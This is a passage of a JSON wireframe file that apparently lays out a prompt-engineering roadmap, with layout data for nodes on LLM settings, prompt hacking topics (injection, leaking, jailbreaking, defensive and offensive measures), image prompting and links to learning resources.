\"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"39\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"108\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Math\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10207\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"74\",\n          \"w\": \"1\",\n          \"h\": \"102\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1288\",\n          \"y\": \"1367\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"10208\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"75\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"49\",\n          \"w\": \"256\",\n          \"h\": \"49\",\n          \"x\": \"1161\",\n          \"y\": \"1342\",\n          \"properties\": {\n            \"controlName\": \"106-llm-settings\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"102\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"77\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"LLM Settings\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10209\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"76\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"1440\",\n          \"properties\": {\n            \"controlName\": \"100-llm-settings:temperature\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"99\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"78\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Temperature\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10210\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"77\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"1490\",\n          \"properties\": {\n            \"controlName\": \"101-llm-settings:top-p\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"44\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"106\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Top P\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10211\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"78\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"1540\",\n          \"properties\": {\n            \"controlName\": \"102-llm-settings:other-hyper-params\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"184\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"36\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Other Hyperparameters\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10212\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"79\",\n          \"w\": \"1\",\n          \"h\": \"459\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1485\",\n          \"y\": \"1366\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.2895200003503646\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999996,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 459.151515151515\n            }\n          }\n        },\n        {\n          \"ID\": \"10213\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"80\",\n          \"w\": \"528\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"954\",\n          \"y\": \"1826\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 528.2424242424242,\n              \"y\": -0.20575476734575204\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999944,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": -0.06060606060611917,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10214\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"81\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"49\",\n          \"w\": \"256\",\n          \"h\": \"49\",\n          \"x\": \"1161\",\n          \"y\": \"1802\",\n          \"properties\": {\n            \"controlName\": \"107-prompt-hacking\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"123\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"77\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompt Hacking\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10215\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"82\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"1899\",\n          \"properties\": {\n            \"controlName\": \"100-prompt-hacking:prompt-injection\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"127\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"64\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompt Injection\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10216\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"83\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"1949\",\n          \"properties\": {\n            \"controlName\": \"101-prompt-hacking:prompt-leaking\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"121\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"67\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompt Leaking\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10217\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"84\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"1999\",\n          \"properties\": {\n            \"controlName\": \"102-prompt-hacking:jailbreaking\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"93\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"81\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Jailbreaking\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10218\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"85\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"2048\",\n          \"properties\": {\n            \"controlName\": \"103-prompt-hacking:defensive-measures\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"158\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"49\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Defensive Measures\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10219\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"86\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"45\",\n          \"w\": \"256\",\n          \"h\": \"45\",\n          \"x\": \"1161\",\n          \"y\": \"2098\",\n          \"properties\": {\n            \"controlName\": \"104-prompt-hacking:offensive-measures\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"153\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"51\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Offensive Measures\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10220\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"87\",\n          \"measuredW\": \"295\",\n          \"measuredH\": \"45\",\n          \"w\": \"295\",\n          \"h\": \"45\",\n          \"x\": \"1171\",\n          \"y\": \"612\",\n          \"properties\": {\n            \"controlName\": \"103-basic-llm:llm-vocabulary\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"295\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"84\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"106\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Vocabulary\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10221\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"88\",\n          \"measuredW\": \"256\",\n          \"measuredH\": \"49\",\n          \"w\": \"256\",\n          \"h\": \"49\",\n          \"x\": \"754\",\n          \"y\": \"1802\",\n          \"properties\": {\n            \"controlName\": \"108-image-prompting\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"256\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"132\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"62\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Image Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10222\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"89\",\n          \"w\": \"1\",\n          \"h\": \"416\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"439\",\n          \"y\": \"1827\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": -0.06060606060611917,\n              \"y\": 415.8067663122506\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999996,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": -0.06060606060611917,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10223\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"90\",\n          \"w\": \"450\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"439\",\n          \"y\": \"2244\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 449.78787878787875,\n              \"y\": -0.20575476734575204\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999993,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": -0.21212121212124657,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10224\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"91\",\n          \"w\": \"1\",\n          \"h\": \"106\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"890\",\n          \"y\": \"2244\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": -0.06060606060611917,\n              \"y\": 106.04002465087751\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999956,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": -0.06060606060611917,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10225\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"92\",\n          \"w\": \"1\",\n          \"h\": \"80\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"889\",\n          \"y\": \"2416\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 79.98159776540933\n            }\n          }\n        },\n        {\n          \"ID\": \"10226\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"93\",\n          \"measuredW\": \"187\",\n          \"measuredH\": \"36\",\n          \"x\": \"796\",\n          \"y\": \"2366\",\n          \"properties\": {\n            \"size\": \"28\",\n            \"text\": \"Keep Learning\"\n          }\n        },\n        {\n          \"ID\": \"10227\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"94\",\n          \"w\": \"129\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"825\",\n          \"y\": \"2553\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"stroke\": \"dotted\",\n            \"color\": \"16777215\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 129.208295421564,\n              \"y\": -0.00475478501221005\n            }\n          }\n        },\n        {\n          \"ID\": \"10228\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"95\",\n          \"w\": \"129\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"139\",\n          \"y\": \"673\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"stroke\": \"dotted\",\n            \"color\": \"16777215\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 129.208295421564,\n              \"y\": -0.00475478501221005\n            }\n          }\n        },\n        {\n          \"ID\": \"10229\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"96\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"915\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10230\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"97\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"955\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10231\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"98\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"998\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10232\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"99\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"1039\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10233\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"100\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"1081\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10234\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"101\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"1123\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10235\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"102\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"1165\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10236\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"103\",\n          \"w\": \"1\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"559\",\n          \"y\": \"1207\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4941416970265235,\n              \"y\": -0.04371737291633719\n            },\n            \"p2\": {\n              \"x\": 1,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10237\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"25\",\n          \"measuredW\": \"370\",\n          \"measuredH\": \"165\",\n          \"w\": \"370\",\n          \"h\": \"165\",\n          \"x\": \"181\",\n          \"y\": \"215\",\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"370\",\n                  \"h\": \"165\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"247\",\n                  \"measuredH\": \"25\",\n                  \"w\": \"247\",\n                  \"h\": \"25\",\n                  \"x\": \"23\",\n                  \"y\": \"77\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:www.deeplearning.ai/short-courses/chatgpt-prompt-engineering-for-developers/\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"214\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"33\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"Prompt Engineering Course\"\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"__group__\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"w\": \"24\",\n                          \"h\": \"24\",\n                          \"x\": \"0\",\n                          \"y\": \"1\",\n                          \"children\": {\n                            \"controls\": {\n                              \"control\": [\n                                {\n                                  \"ID\": \"0\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"0\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"16777215\",\n                                    \"icon\": {\n                                      \"ID\": \"circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                },\n                                {\n                                  \"ID\": \"1\",\n                                  \"typeID\": \"Icon\",\n                                  \"zOrder\": \"1\",\n                                  \"measuredW\": \"24\",\n                                  \"measuredH\": \"24\",\n                                  \"x\": \"0\",\n                                  \"y\": \"0\",\n                                  \"properties\": {\n                                    \"color\": \"10066329\",\n                                    \"icon\": {\n                                      \"ID\": \"check-circle\",\n                                      \"size\": \"small\"\n                                    }\n                                  }\n                                }\n                              ]\n                            }\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"212\",\n                  \"measuredH\": \"25\",\n                  \"w\": \"212\",\n                  \"h\": \"25\",\n                  \"x\": \"23\",\n                  \"y\": \"108\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:learnprompting.org/docs/intro\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"179\",\n                          \"measuredH\": \"25\",\n                          \"x\": \"33\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"17\",\n                            \"text\": \"Learn Prompting Guide\"\n                          }\n                        },\n                        {\n                          \"ID\": \"1\",\n                          \"typeID\": \"__group__\",\n                          \"zOrder\": \"1\",\n                          \"measuredW\": \"24\",\n                          \"measuredH\": \"24\",\n                          \"w\": \"24\",\n                          \"h\": \"24\",\n                          